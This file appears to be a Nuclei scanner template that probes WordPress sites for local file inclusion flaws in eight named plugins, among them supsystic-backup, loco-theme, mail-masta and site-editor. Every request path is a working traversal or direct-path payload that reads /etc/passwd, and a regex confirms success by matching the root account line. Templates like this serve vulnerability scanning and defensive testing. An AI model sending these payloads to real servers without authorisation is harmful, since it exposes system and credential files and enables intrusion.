wordpress-LFI

wordpress-LFI.yaml

id: wordpress-LFI

info:
  name: wordpress-LFI
  author: 0x240x23elu
  severity: High

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/wp-content/plugins/tutor/views/pages/instructors.php?sub_page=/etc/passwd"
      - "{{BaseURL}}/wp-admin/admin.php?path=%2Fetc%2Fpasswd&bundle=twentynineteen&domain=twentynineteen&page=loco-theme&action=file-view"
      - "{{BaseURL}}/wordpress/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd"
      - "{{BaseURL}}/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=/etc/passwd%00"
      - "{{BaseURL}}/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"
      - "{{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"

        
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body